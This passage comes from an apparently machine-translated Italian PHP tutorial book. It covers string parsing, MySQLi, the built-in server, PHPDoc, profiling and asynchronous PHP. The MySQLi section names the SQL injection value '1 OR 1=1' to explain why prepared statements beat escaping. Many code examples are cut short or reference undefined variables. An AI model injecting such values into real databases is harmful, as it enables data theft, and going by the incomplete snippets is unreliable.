ancora più alto di quello clone . Così:
class MyClass {
private $a = 0;
public function add(int $a) {
$this->a += $a;
return $this;
}
public function get() {
return $this->a;
}
}
Nota che l'uso delle parentesi per influenzare la precedenza non funzionava nella versione 5 di
PHP e precedenti (lo fa in PHP 7):
https://riptutorial.com/it/home 354
Capitolo 70: Parsing delle stringhe
Osservazioni
Regex dovrebbe essere usato per altri usi oltre a ottenere stringhe di corde o altrimenti tagliare le
stringhe in pezzi.
Examples
Divisione di una stringa tramite separatori
explode e strstr sono metodi più semplici per ottenere sottostringhe dai separatori.
Una stringa contenente diverse parti di testo separate da un carattere comune può essere divisa
in parti con la funzione explode .
$fruits = "apple,pear,grapefruit,cherry";
print_r(explode(",",$fruits)); // ['apple', 'pear', 'grapefruit', 'cherry']
Il metodo supporta anche un parametro limite che può essere utilizzato come segue:
$fruits= 'apple,pear,grapefruit,cherry';
print_r(explode(',',$fruits,0)); // ['apple,pear,grapefruit,cherry']
Se il limite è impostato e positivo, la matrice restituita conterrà un massimo di elementi limite con
l'ultimo elemento contenente il resto della stringa.
Se il parametro limite è negativo, vengono restituiti tutti i componenti tranne l'ultimo limite.
explode può essere combinato con una list per analizzare una stringa in variabili in una riga:
$email = "[email protected]";
list($name, $domain) = explode("@", $email);
strstr allontana o restituisce solo la sottostringa prima della prima occorrenza dell'ago dato.
https://riptutorial.com/it/home 355
$string = "1:23:456";
echo json_encode(explode(":", $string)); // ["1","23","456"]
var_dump(strstr($string, ":")); // string(7) ":23:456"
strpos può essere inteso come il numero di byte nel pagliaio prima della prima occorrenza
dell'ago.
https://riptutorial.com/it/home 356
Cerca a partire da un offset
// With offset we can search ignoring anything before the offset
$needle = "Hello";
$haystack = "Hello world! Hello World";
preg_match può essere usato per analizzare la stringa usando l'espressione regolare. Le parti di
espressione racchiuse tra parentesi sono chiamate subpatterns e con esse puoi scegliere singole
parti della stringa.
Produzione
https://riptutorial.com/it/home 357
Array
(
[0] => <a href="http://example.org">My Link</a>
[1] => http://example.org
[2] => My Link
)
substring
Se esiste la possibilità di incontrare stringhe di caratteri multibyte, sarebbe più sicuro usare
mb_substr.
$cake = "cakeæøå";
var_dump(substr($cake, 0, 5)); // string(5) "cake�"
var_dump(mb_substr($cake, 0, 5, 'UTF-8')); // string(6) "cakeæ"
Un'altra variante è la funzione substr_replace, che sostituisce il testo all'interno di una porzione di
una stringa.
Diciamo che vuoi trovare una parola specifica in una stringa e non vuoi usare Regex.
// If the casing in the text is not important, then using strtolower helps to compare strings
var_dump(substr($hi, 0, strpos($hi, " ")) == 'hello'); // bool(false)
var_dump(strtolower(substr($hi, 0, strpos($hi, " "))) == 'hello'); // bool(true)
$email = "[email protected]";
$wrong = "foobar.co.uk";
$notld = "foo@bar";
https://riptutorial.com/it/home 358
$nomain = substr($notld, $nat + 1); // string(3) "bar"
https://riptutorial.com/it/home 359
Capitolo 71: PHP MySQLi
introduzione
L' interfaccia mysqli è un miglioramento (si intende "estensione MySQL Improvement")
dell'interfaccia mysql , che è stata deprecata nella versione 5.5 e rimossa nella versione 7.0.
L'estensione mysqli, o come è a volte nota, l'estensione migliorata di MySQL, è stata sviluppata
per sfruttare le nuove funzionalità presenti nelle versioni 4.1.3 e successive dei sistemi MySQL.
L'estensione mysqli è inclusa con le versioni di PHP 5 e successive.
Osservazioni
Caratteristiche
L'interfaccia mysqli ha una serie di vantaggi, i miglioramenti chiave sull'estensione mysql sono:
È dotato di una doppia interfaccia : il vecchio stile procedurale e un nuovo stile di programmazione
orientata agli oggetti (OOP) . Il mysql deprecato aveva solo un'interfaccia procedurale, quindi lo
stile orientato agli oggetti è spesso preferito. Tuttavia, il nuovo stile è anche favorevole a causa del
potere di OOP.
alternative
Un'alternativa all'interfaccia mysqli per accedere ai database è la più mysqli interfaccia PHP Data
Objects (PDO) . Questo include solo la programmazione in stile OOP e può accedere a più di soli
database di tipo MySQL.
Examples
Connetti MySQLi
Connetti al server
https://riptutorial.com/it/home 360
$conn = new mysqli("localhost","my_user","my_password");
Connetti al database
Stile procedurale
Connetti al server
$conn = mysqli_connect("localhost","my_user","my_password");
Connetti al database
$conn = mysqli_connect("localhost","my_user","my_password","my_db");
if ($conn->connect_errno > 0) {
trigger_error($db->connect_error);
} // else: successfully connected
Stile procedurale
if (!$conn) {
trigger_error(mysqli_connect_error());
} // else: successfully connected
Query MySQLi
La funzione query accetta una stringa SQL valida e la esegue direttamente contro la connessione
al database $conn
Stile procedurale
ATTENZIONE
https://riptutorial.com/it/home 361
Un problema comune qui è che le persone semplicemente eseguono la query e si aspettano che
funzioni (ovvero restituiscono un oggetto mysqli_stmt ). Poiché questa funzione richiede solo una
stringa, stai costruendo la query prima tu stesso. Se ci sono errori nell'SQL, il compilatore MySQL
fallirà, a questo punto questa funzione restituirà false .
Il codice sopra genererà un errore E_FATAL perché $result è false e non un oggetto.
Errore fatale PHP: chiama a una funzione membro fetch_assoc () su un non oggetto
L'errore procedurale è simile, ma non fatale, perché stiamo solo violando le aspettative della
funzione.
PHP semplifica l'acquisizione dei dati dai risultati e il looping su di esso con un comando while .
Quando non riesce a ottenere la riga successiva, restituisce false e il ciclo termina. Questi esempi
funzionano con
while($row = $result->fetch_assoc()) {
var_dump($row);
}
Stile procedurale
while($row = mysqli_fetch_assoc($result)) {
var_dump($row);
}
https://riptutorial.com/it/home 362
Per ottenere informazioni esatte dai risultati, possiamo usare:
Chiudere la connessione
$conn->close();
Stile procedurale
mysqli_close($conn);
Nota : la connessione al server verrà chiusa non appena termina l'esecuzione dello script, a meno
che non venga chiusa in precedenza chiamando esplicitamente la funzione di connessione
chiusa.
Caso d'uso: se il nostro script ha una buona quantità di elaborazione da eseguire dopo aver
recuperato il risultato e ha recuperato il set di risultati completo, dobbiamo assolutamente chiudere
la connessione. Se non lo fossimo, c'è una possibilità che il server MySQL raggiunga il limite di
connessione quando il server Web è in uso intensivo.
Leggere la sezione Prevenzione dell'iniezione SQL con query parametrizzate per una discussione
completa sul perché le istruzioni preparate consentono di proteggere le istruzioni SQL dagli
attacchi SQL Injection
La variabile $conn qui è un oggetto MySQLi. Vedi esempio di connessione MySQLi per maggiori
dettagli.
Il ? rappresenta i valori che forniremo in seguito. Si prega di notare che non abbiamo bisogno di
quotazioni per i segnaposto, indipendentemente dal tipo. Possiamo anche fornire solo segnaposto
nelle parti di dati della query, ovvero SET , VALUES e WHERE . Non è possibile utilizzare segnaposto
nelle parti SELECT o FROM .
https://riptutorial.com/it/home 363
Stile orientato agli oggetti
if ($stmt = $conn->prepare($sql)) {
$stmt->bind_param("si", $column_2_value, $column_3_value);
$stmt->execute();
$stmt->bind_result($column_1);
$stmt->fetch();
//Now use variable $column_1 one as if it were any other PHP variable
$stmt->close();
}
Stile procedurale
i numero intero
d Doppio
s stringa
b macchia
L'elenco dei parametri deve essere nell'ordine fornito nella query. In questo esempio si indica che
il primo parametro ( column_2 = ? ) È stringa e il secondo parametro ( column_3 > ? ) È intero.
Per il recupero dei dati, vedere Come ottenere dati da una dichiarazione preparata
Strings di evasione
L'escaping delle stringhe è un metodo più vecchio ( e meno sicuro ) di protezione dei dati per
l'inserimento in una query. Funziona usando la funzione MySQL mysql_real_escape_string () per
elaborare e disinfettare i dati (in altre parole, PHP non sta eseguendo l'escape). L'API MySQLi
fornisce accesso diretto a questa funzione
$escaped = $conn->real_escape_string($_GET['var']);
// OR
$escaped = mysqli_real_escape_string($conn, $_GET['var']);
A questo punto, hai una stringa che MySQL considera sicura per l'uso in una query diretta
https://riptutorial.com/it/home 364
$sql = 'SELECT * FROM users WHERE username = "' . $escaped . '"';
$result = $conn->query($sql);
Quindi, perché questo non è sicuro quanto le dichiarazioni preparate ? Ci sono modi per
ingannare MySQL per produrre una stringa che considera sicura. Considera il seguente esempio
1 OR 1=1 non rappresenta i dati che MySQL sfuggirà, ma questo rappresenta ancora l'iniezione
SQL. Ci sono anche altri esempi che rappresentano luoghi in cui restituisce dati non sicuri. Il
problema è che la funzione di escape di MySQL è progettata per rendere i dati conformi alla
sintassi SQL . NON è progettato per garantire che MySQL non possa confondere i dati utente
per le istruzioni SQL .
MySQLi Inserisci ID
Recupera l'ultimo ID generato da una query INSERT su una tabella con una colonna
AUTO_INCREMENT .
$id = $conn->insert_id;
Stile procedurale
$id = mysqli_insert_id($conn);
https://riptutorial.com/it/home 365
('Sally', 456);
Query OK, 2 rows affected (0.00 sec)
Records: 2 Duplicates: 0 Warnings: 0
+----+--------+------+
| id | name | misc |
+----+--------+------+
| 1 | Leslie | 123 |
| 2 | Sally | 456 |
+----+--------+------+
Quindi la tua query è fallita (vedi Connetti a MySQLi per come abbiamo creato $conn )
Come possiamo scoprire cos'è successo? $result è false quindi non è di aiuto. Per fortuna il $conn
connect $conn può dirci cosa ci ha detto MySQL sull'errore
trigger_error($conn->error);
https://riptutorial.com/it/home 366
o procedurale
trigger_error(mysqli_error($conn));
Dichiarazioni preparate
Vedi le istruzioni preparate in MySQLi per come preparare ed eseguire una query.
$stmt->bind_result($forename);
Stile procedurale
mysqli_stmt_bind_result($stmt, $forename);
Il problema con l'utilizzo di bind_result è che richiede l'istruzione per specificare le colonne che
verranno utilizzate. Ciò significa che, per il funzionamento di cui sopra, la query deve essere simile
a SELECT forename FROM users . Per includere più colonne, aggiungili semplicemente come
parametri alla funzione bind_result (e assicurati di aggiungerli alla query SQL).
In entrambi i casi, stiamo assegnando il forename colonna a $forename variabile. Queste funzioni
accettano tutti gli argomenti delle colonne che vuoi assegnare. L'assegnazione viene eseguita una
sola volta, poiché la funzione si lega per riferimento.
while ($stmt->fetch())
echo "$forename<br />";
Stile procedurale
while (mysqli_stmt_fetch($stmt))
echo "$forename<br />";
https://riptutorial.com/it/home 367
rende difficile tenere traccia delle grandi domande. Se hai installato MySQL Native Driver ( mysqlnd
) , tutto ciò che devi fare è usare get_result .
$result = $stmt->get_result();
Stile procedurale
$result = mysqli_stmt_get_result($stmt);
Questo è molto più facile da lavorare perché ora stiamo ottenendo un oggetto mysqli_result .
Questo è lo stesso oggetto restituito da mysqli_query . Ciò significa che puoi utilizzare un ciclo di
risultati regolare per ottenere i tuoi dati.
Questa funzione può eseguire l'attività di get_result senza che sia installata sul server.
Semplicemente scorre i risultati e crea un array associativo
Possiamo quindi utilizzare la funzione per ottenere risultati come questo, proprio come se
stessimo usando mysqli_fetch_assoc()
<?php
$query = $mysqli->prepare("SELECT * FROM users WHERE forename LIKE ?");
$condition = "J%";
$query->bind_param("s", $condition);
$query->execute();
$result = get_result($query);
https://riptutorial.com/it/home 368
while ($row = array_shift($result)) {
echo $row["id"] . ' - ' . $row["forename"] . ' ' . $row["surname"] . '<br>';
}
Avrà lo stesso risultato come se si stesse utilizzando il driver mysqlnd , ma non deve essere
installato. Questo è molto utile se non riesci a installare il driver sul tuo sistema. Basta
implementare questa soluzione.
https://riptutorial.com/it/home 369
Capitolo 72: PHP Server integrato
introduzione
Scopri come utilizzare il server integrato per sviluppare e testare la tua applicazione senza la
necessità di altri strumenti come xamp, wamp, ecc.
Parametri
Colonna Colonna
-t Elenco pubblico
Osservazioni
Un esempio di script del router è:
<?php
// router.php
if (preg_match('/\.(?:png|jpg|jpeg|gif)$/', $_SERVER["REQUEST_URI"])) {
return false; // serve the requested resource as-is.
} //the rest of you code goes here.
Examples
Esecuzione del server integrato
php -S localhost:80
Il server di sviluppo 7.1.7 di PHP è stato avviato a Fri Jul 14 15:11:05 2017
Ascolto su http: // localhost: 80
La radice del documento è C: \ projetos \ repgeral
Premi Ctrl-C per uscire.
Questo è il modo più semplice per avviare un server PHP che risponde alla richiesta fatta a
localhost sulla porta 80.
https://riptutorial.com/it/home 370
Il localhost: 80 indica l'host che stiamo rispondendo e la porta. Puoi usare altre combinazioni
come:
Il server di sviluppo 7.1.7 di PHP è stato avviato a Ven 14 luglio 15:22:25 2017
Ascolto su http: // localhost: 80
La radice del documento è / home / progetto / pubblico
Premi Ctrl-C per uscire.
https://riptutorial.com/it/home 371
Capitolo 73: PHPDoc
Sintassi
• @api
• @author [nome] [<indirizzo email>]
• @copyright <description>
• @deprecated [<"Versione semantica">] [: <"Versione semantica">] [<descrizione>]
• @esempio [URI] [<descrizione>]
• {@esempio [URI] [: <start> .. <end>]}
• @inheritDoc
• @interno
• {@internal [description]}}
• @license [<identificatore SPDX> | URI] [nome]
• @method [return "Type"] [name] (["Type"] [parametro], [...]) [descrizione]
• @package [livello 1] \ [livello 2] \ [ecc.]
• @param ["Tipo"] [nome] [<descrizione>]
• @property ["Tipo"] [nome] [<descrizione>]
• @return <"Tipo"> [descrizione]
• @vedi [URI | "FQSEN"] [<descrizione>]
• @since [<"Versione semantica">] [<descrizione>]
• @throws ["Tipo"] [<descrizione>]
• @todo [descrizione]
• @uses [file | "FQSEN"] [<descrizione>]
• @var ["Tipo"] [nome_elemento] [<descrizione>]
• @version ["Versione semantica"] [<descrizione>]
• @filesource: include il file corrente nei risultati di analisi phpDocumentor
• @link [URI] [<description>] - Il tag link aiuta a definire la relazione o il collegamento tra
elementi strutturali .
Osservazioni
"PHPDoc" è una sezione di documentazione che fornisce informazioni sugli aspetti di
un "elemento strutturale" - PSR-5
Le annotazioni PHPDoc sono commenti che forniscono metadati su tutti i tipi di strutture in PHP.
Molti IDE popolari sono configurati per impostazione predefinita per utilizzare le annotazioni
PHPDoc per fornire informazioni sul codice e identificare possibili problemi prima che si
verifichino.
Mentre le annotazioni PHPDoc non fanno parte del core PHP, attualmente mantengono lo stato di
bozza con PHP-FIG come PSR-5 .
Tutte le annotazioni PHPDoc sono contenute in DocBlocks dimostrate da una linea multipla con
due asterischi:
https://riptutorial.com/it/home 372
/**
*
*/
Examples
Aggiunta di metadati alle funzioni
Le annotazioni a livello di funzione aiutano gli IDE a identificare valori di ritorno o codice
potenzialmente pericoloso
/**
* Adds two numbers together.
*
* @param Int $a First parameter to add
* @param Int $b Second parameter to add
* @return Int
*/
function sum($a, $b)
{
return (int) $a + $b;
}
/**
* Don't run me! I will always raise an exception.
*
* @throws Exception Always
*/
function dangerousCode()
{
throw new Exception('Ouch, that was dangerous!');
}
/**
* Old structures should be deprecated so people know not to use them.
*
* @deprecated
*/
function oldCode()
{
mysql_connect(/* ... */);
}
I metadati a livello di file si applicano a tutto il codice all'interno del file e devono essere posizionati
nella parte superiore del file:
<?php
/**
* @author John Doe ([email protected])
* @copyright MIT
https://riptutorial.com/it/home 373
*/
Se una classe estende un'altra classe e usa gli stessi metadati, fornirla a @inheritDoc è un modo
semplice per utilizzare la stessa documentazione. Se più classi ereditano da una base, solo la
base dovrebbe essere cambiata affinché i bambini siano interessati.
La parola chiave @var può essere utilizzata per descrivere il tipo e l'utilizzo di:
class Example {
/** @var string This is something that stays the same */
const UNCHANGING = "Untouchable";
/**
* @var array $stuff This is a collection of stuff
* @var array $nonsense These are nonsense
*/
private $stuff, $nonsense;
...
}
Il tipo può essere uno dei tipi di PHP integrati o una classe definita dall'utente, inclusi gli spazi dei
https://riptutorial.com/it/home 374
nomi.
Il nome della variabile deve essere incluso, ma può essere omesso se il docblock si applica a un
solo elemento.
Descrivere i parametri
/**
* Parameters
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param($int, $string, $array, $bool)
{
}
/**
* Parameters - Optional / Defaults
*
* @param int $int
* @param string $string
* @param array $array
* @param bool $bool
*/
function demo_param_optional($int = 5, $string = 'foo', $array = [], $bool = false)
{
}
/**
* Parameters - Arrays
*
* @param array $mixed
* @param int[] $integers
* @param string[] $strings
* @param bool[] $bools
* @param string[]|int[] $strings_or_integers
*/
function demo_param_arrays($mixed,$integers, $strings, $bools, $strings_or_integers)
{
}
/**
* Parameters - Complex
* @param array $config
* <pre>
* $params = [
* 'hostname' => (string) DB hostname. Required.
* 'database' => (string) DB name. Required.
* 'username' => (string) DB username. Required.
* ]
* </pre>
*/
function demo_param_complex($config)
{
}
https://riptutorial.com/it/home 375
collezioni
Sintassi generica
Type[]
Type<Type>
Type<Type[, Type]...>
Type<Type[|Type]...>
I valori in una collezione POSSONO anche essere un altro array e anche un'altra Collection.
Type<Type<Type>>
Type<Type<Type[, Type]...>>
Type<Type<Type[|Type]...>>
Esempi
<?php
/**
* @var ArrayObject<string> $name
*/
$name = new ArrayObject(['a', 'b']);
/**
* @var ArrayObject<int> $name
*/
$name = new ArrayObject([1, 2]);
/**
* @var ArrayObject<stdClass> $name
*/
$name = new ArrayObject([
new stdClass(),
new stdClass()
]);
/**
* @var ArrayObject<string|int|stdClass|bool> $name
*/
$name = new ArrayObject([
'a',
true,
1,
'b',
new stdClass(),
'c',
2
]);
/**
https://riptutorial.com/it/home 376
* @var ArrayObject<ArrayObject<int>> $name
*/
$name = new ArrayObject([
new ArrayObject([1, 2]),
new ArrayObject([1, 2])
]);
/**
* @var ArrayObject<int, string> $name
*/
$name = new ArrayObject([
1 => 'a',
2 => 'b'
]);
/**
* @var ArrayObject<string, int> $name
*/
$name = new ArrayObject([
'a' => 1,
'b' => 2
]);
/**
* @var ArrayObject<string, stdClass> $name
*/
$name = new ArrayObject([
'a' => new stdClass(),
'b' => new stdClass()
]);
https://riptutorial.com/it/home 377
Capitolo 74: Prestazione
Examples
Creazione di profili con XHProf
XHProf è un profiler PHP originariamente scritto da Facebook, per fornire un'alternativa più
leggera a XDebug.
Dopo aver installato il modulo PHP xhprof , la profilazione può essere abilitata / disabilitata dal
codice PHP:
xhprof_enable();
doSlowOperation();
$profile_data = xhprof_disable();
L'array restituito conterrà i dati sul numero di chiamate, il tempo della CPU e l'utilizzo della
memoria di ciascuna funzione a cui è stato effettuato l'accesso all'interno di doSlowOperation() .
xhprof_sample_enable() / xhprof_sample_disable() può essere usato come opzione più leggera che
registra le informazioni di profilazione solo per una frazione di richieste (e in un formato diverso).
XHProf ha alcune funzioni di supporto (per lo più non documentate) per visualizzare i dati ( vedi
esempio ), oppure puoi usare altri strumenti per visualizzarli (il blog platform.sh ne ha un esempio
).
Il limite di memoria di runtime di PHP viene impostato tramite la direttiva INI memory_limit . Questa
impostazione impedisce a qualsiasi singola esecuzione di PHP di utilizzare troppa memoria,
estenuandola per altri script e software di sistema. Il limite di memoria predefinito è 128M e può
essere modificato nel file php.ini o in fase di esecuzione. Può essere impostato per non avere
limiti, ma generalmente è considerato una cattiva pratica.
L'utilizzo esatto della memoria utilizzato durante il runtime può essere determinato chiamando
memory_get_usage() . Restituisce il numero di byte di memoria allocati allo script attualmente in
esecuzione. A partire da PHP 5.2, ha un parametro booleano opzionale per ottenere la memoria
del sistema allocata totale, al contrario della memoria che viene utilizzata attivamente da PHP.
<?php
echo memory_get_usage() . "\n";
// Outputs 350688 (or similar, depending on system and PHP version)
https://riptutorial.com/it/home 378
// Remove the array from memory
unset($array);
Now memory_get_usage ti dà l'utilizzo della memoria nel momento in cui viene eseguito. Tra le
chiamate a questa funzione è possibile allocare e deallocare altre cose in memoria. Per ottenere
la massima quantità di memoria utilizzata fino a un certo punto, chiama memory_get_peak_usage() .
<?php
echo memory_get_peak_usage() . "\n";
// 385688
$array = array_fill(0, 1000, 'abc');
echo memory_get_peak_usage() . "\n";
// 422736
unset($array);
echo memory_get_peak_usage() . "\n";
// 422776
È disponibile un'estensione per PHP chiamata Xdebug per aiutare a profilare le applicazioni PHP ,
oltre al debugging in runtime. Quando si esegue il profiler, l'output viene scritto su un file in un
formato binario chiamato "cachegrind". Le applicazioni sono disponibili su ogni piattaforma per
analizzare questi file.
Per abilitare la profilazione, installa l'estensione e regola le impostazioni di php.ini. Nel nostro
esempio eseguiremo il profilo opzionalmente basato su un parametro di richiesta. Questo ci
permette di mantenere le impostazioni statiche e accendere il profiler solo se necessario.
Quindi utilizzare un client Web per fare una richiesta all'URL della propria applicazione che si
desidera profilare, ad es
http://example.com/article/1?XDEBUG_PROFILE=1
/tmp/cachegrind.out.12345
https://riptutorial.com/it/home 379
Si noti che scriverà un file per ogni richiesta / processo PHP che viene eseguita. Ad esempio, se si
desidera analizzare un post di un modulo, verrà scritto un profilo per la richiesta GET per
visualizzare il modulo HTML. Il parametro XDEBUG_PROFILE dovrà essere passato alla
successiva richiesta POST per analizzare la seconda richiesta che elabora il modulo. Pertanto,
quando si profila il profilo, a volte è più semplice eseguire curl su POST di un modulo
direttamente.
Una volta scritta, la cache del profilo può essere letta da un'applicazione come KCachegrind.
https://riptutorial.com/it/home 380
Ciò visualizzerà le informazioni che includono:
• Funzioni eseguite
• Chiamare il tempo, sia esso stesso che le chiamate di funzione successive
• Numero di volte in cui ogni funzione è chiamata
https://riptutorial.com/it/home 381
• Call graphs
• Link al codice sorgente
Ovviamente l'ottimizzazione delle prestazioni è molto specifica per i casi d'uso di ciascuna
applicazione. In generale è bene cercare:
• Chiamate ripetute alla stessa funzione che non ti aspetteresti di vedere. Per le funzioni che
elaborano e interrogano i dati, queste potrebbero essere le migliori opportunità per la cache
dell'applicazione.
• Funzioni a bassa velocità. Dove è l'applicazione che passa la maggior parte del suo tempo?
il miglior risultato nell'ottimizzazione delle prestazioni si concentra su quelle parti
dell'applicazione che consumano più tempo.
Nota : Xdebug, e in particolare le sue funzionalità di creazione di profili, richiedono molte risorse e
rallentano l'esecuzione di PHP. Si consiglia di non eseguirli in un ambiente server di produzione.
https://riptutorial.com/it/home 382
Capitolo 75: Programmazione asincrona
Examples
Vantaggi dei generatori
PHP 5.5 introduce i generatori e la parola chiave yield, che ci consente di scrivere codice
asincrono che assomiglia più al codice sincrono.
function reverse_range($i) {
// the mere presence of the yield keyword in this function makes this a Generator
do {
// $i is retained between resumptions
print yield $i;
} while (--$i > 0);
}
$gen = reverse_range(5);
print $gen->current();
$gen->send("injected!"); // send also resumes the Generator
foreach ($gen as $val) { // loops over the Generator, resuming it upon each iteration
echo $val;
}
// Output: 5injected!4321
Questo meccanismo può essere utilizzato da un'implementazione di coroutine per attendere gli
Awaitables restituiti dal Generatore (registrandosi come callback per la risoluzione) e continuare
l'esecuzione del Generatore non appena viene risolto l'Awaitable.
use Icicle\Awaitable;
use Icicle\Coroutine\Coroutine;
use Icicle\Loop;
https://riptutorial.com/it/home 383
// Throws the exception from the rejected awaitable into the coroutine.
return yield Awaitable\reject(new Exception('Rejected awaitable'));
} catch (Throwable $e) { // Catches awaitable rejection reason.
echo "Caught exception: ", $e->getMessage(), "\n";
}
// Coroutine sleeps for 1.2 seconds, then will resolve with a string.
$coroutine = new Coroutine($generator(1.2));
$coroutine->done(function (string $data) {
echo $data, "\n";
});
Loop\run();
Amp harnesses Promises [un altro nome per Awaitables] e Generators per la creazione di
coroutine.
use Amp\Dns;
PHP non supporta il codice in esecuzione contemporaneamente, a meno che non si installino
estensioni come pthread . A volte questo può essere aggirato usando proc_open() e
stream_set_blocking() e leggendo il loro output in modo asincrono.
https://riptutorial.com/it/home 384
Se dividiamo il codice in blocchi più piccoli, possiamo eseguirlo come più suprocessi. Quindi,
usando la funzione stream_set_blocking() possiamo rendere ogni processo parziale anche non
bloccante. Ciò significa che è possibile generare più sottoprocessi e quindi controllare il loro
output in un ciclo (analogamente a un ciclo uniforme) e attendere fino a quando non terminano
tutti.
Ad esempio possiamo avere un sottoprocesso piccolo che esegue solo un ciclo e in ogni
iterazione dorme in modo casuale per 100 - 1000 ms (nota, il ritardo è sempre lo stesso per un
sottoprocesso).
<?php
// subprocess.php
$name = $argv[1];
$delay = rand(1, 10) * 100;
printf("$name delay: ${delay}ms\n");
Quindi il processo principale genererà sottoprocessi e leggerà il loro output. Possiamo dividerlo in
blocchi più piccoli:
<?php
// non-blocking-proc_open.php
// File descriptors for each subprocess.
$descriptors = [
0 => ['pipe', 'r'], // stdin
1 => ['pipe', 'w'], // stdout
];
$pipes = [];
$processes = [];
foreach (range(1, 3) as $i) {
// Spawn a subprocess.
$proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes);
$processes[$i] = $proc;
// Make the subprocess non-blocking (only output pipe).
stream_set_blocking($procPipes[1], 0);
$pipes[$i] = $procPipes;
}
https://riptutorial.com/it/home 385
$str = fread($pipes[$i][1], 1024);
if ($str) {
printf($str);
}
}
}
L'output quindi contiene la miscela di tutti e tre i sottoprocessi mentre vengono letti da fread ()
(nota che in questo caso proc1 finiva molto prima rispetto agli altri due):
$ php non-blocking-proc_open.php
proc1 delay: 200ms
proc2 delay: 1000ms
proc3 delay: 800ms
proc1: 0
proc1: 1
proc1: 2
proc1: 3
proc3: 0
proc1: 4
proc2: 0
proc3: 1
proc2: 1
proc3: 2
proc2: 2
proc3: 3
proc2: 3
proc3: 4
proc2: 4
Gli stream DIO non sono attualmente riconosciuti dall'estensione dell'evento . Non esiste un modo
pulito per ottenere il descrittore di file incapsulato nella risorsa DIO. Ma c'è una soluzione:
dio.php
<?php
class Scanner {
https://riptutorial.com/it/home 386
protected $port; // port path, e.g. /dev/pts/5
protected $fd; // numeric file descriptor
protected $base; // EventBase
protected $dio; // dio resource
protected $e_open; // Event
protected $e_read; // Event
if ($this->e_open)
$this->e_open->free();
if ($this->e_read)
$this->e_read->free();
if ($this->dio)
dio_close($this->dio);
}
$this->fd = EventUtil::getSocketFd($stream);
if ($this->fd < 0) {
fprintf(STDERR, "Failed attach to port, events: %d\n", $events);
return;
}
fclose($stream);
}
$this->dio = dio_fdopen($this->fd);
// Call other dio functions here, e.g.
dio_tcsetattr($this->dio, [
'baud' => 9600,
'bits' => 8,
'stop' => 1,
'parity' => 0
]);
https://riptutorial.com/it/home 387
}
}
analisi
Esegui il seguente comando nel terminale A:
L'output potrebbe essere diverso. Usa i PTY dal primo paio di righe ( /dev/pts/5 e /dev/pts/8 , in
particolare).
Nel terminale B esegui lo script sopra menzionato. Potresti aver bisogno dei privilegi di root:
Produzione
string(1) "t"
string(1) "e"
string(1) "s"
string(1) "t"
string(1) "
"
http-client.php
<?php
class MyHttpClient {
/// @var EventBase
https://riptutorial.com/it/home 388
protected $base;
/// @var array Instances of EventHttpConnection
protected $connections = [];
/**
* Dispatches all pending requests (events)
*
* @return void
*/
public function run() {
$this->base->dispatch();
}
/**
* @brief Adds a pending HTTP request
*
* @param string $address Hostname, or IP
* @param int $port Port number
* @param array $headers Extra HTTP headers
* @param int $cmd A EventHttpRequest::CMD_* constant
* @param string $resource HTTP request resource, e.g. '/page?a=b&c=d'
*
* @return EventHttpRequest|false
*/
public function addRequest($address, $port, array $headers,
$cmd = EventHttpRequest::CMD_GET, $resource = '/')
{
$conn = new EventHttpConnection($this->base, null, $address, $port);
$conn->setTimeout(5);
return false;
}
/**
* @brief Handles an HTTP request
*
* @param EventHttpRequest $req
* @param mixed $unused
https://riptutorial.com/it/home 389
*
* @return void
*/
public function _requestHandler($req, $unused) {
if (is_null($req)) {
echo "Timed out\n";
} else {
$response_code = $req->getResponseCode();
if ($response_code == 0) {
echo "Connection refused\n";
} elseif ($response_code != 200) {
echo "Unexpected response: $response_code\n";
} else {
echo "Success: $response_code\n";
$buf = $req->getInputBuffer();
echo "Body:\n";
while ($s = $buf->readLine(EventBuffer::EOL_ANY)) {
echo $s, PHP_EOL;
}
}
}
}
}
$address = "my-host.local";
$port = 80;
$headers = [ 'User-Agent' => 'My-User-Agent/1.0', ];
test.php
Questo è uno script di esempio sul lato server.
<?php
echo 'GET: ', var_export($_GET, true), PHP_EOL;
echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL;
uso
php http-client.php
Uscita di esempio
https://riptutorial.com/it/home 390
Success: 200
Body:
GET: array (
'a' => '1',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '0',
)
User-Agent: My-User-Agent/1.0
Success: 200
Body:
GET: array (
'a' => '3',
)
...
(Tagliati.)
Nota, il codice è progettato per l'elaborazione a lungo termine in SAPI della CLI .
Il codice seguente mostra come è possibile pianificare le richieste HTTP per l'elaborazione
parallela.
http-client.php
<?php
class MyHttpRequest {
/// @var MyHttpClient
private $http_client;
/// @var string
private $address;
/// @var string HTTP resource such as /page?get=param
private $resource;
/// @var string HTTP method such as GET, POST etc.
private $method;
/// @var int
private $service_port;
/// @var resource Socket
private $socket;
/// @var double Connection timeout in seconds.
private $timeout = 10.;
/// @var int Chunk size in bytes for socket_recv()
private $chunk_size = 20;
https://riptutorial.com/it/home 391
/// @var EvTimer
private $timeout_watcher;
/// @var EvIo
private $write_watcher;
/// @var EvIo
private $read_watcher;
/// @var EvTimer
private $conn_watcher;
/// @var string buffer for incoming data
private $buffer;
/// @var array errors reported by sockets extension in non-blocking mode.
private static $e_nonblocking = [
11, // EAGAIN or EWOULDBLOCK
115, // EINPROGRESS
];
/**
* @param MyHttpClient $client
* @param string $host Hostname, e.g. google.co.uk
* @param string $resource HTTP resource, e.g. /page?a=b&c=d
* @param string $method HTTP method: GET, HEAD, POST, PUT etc.
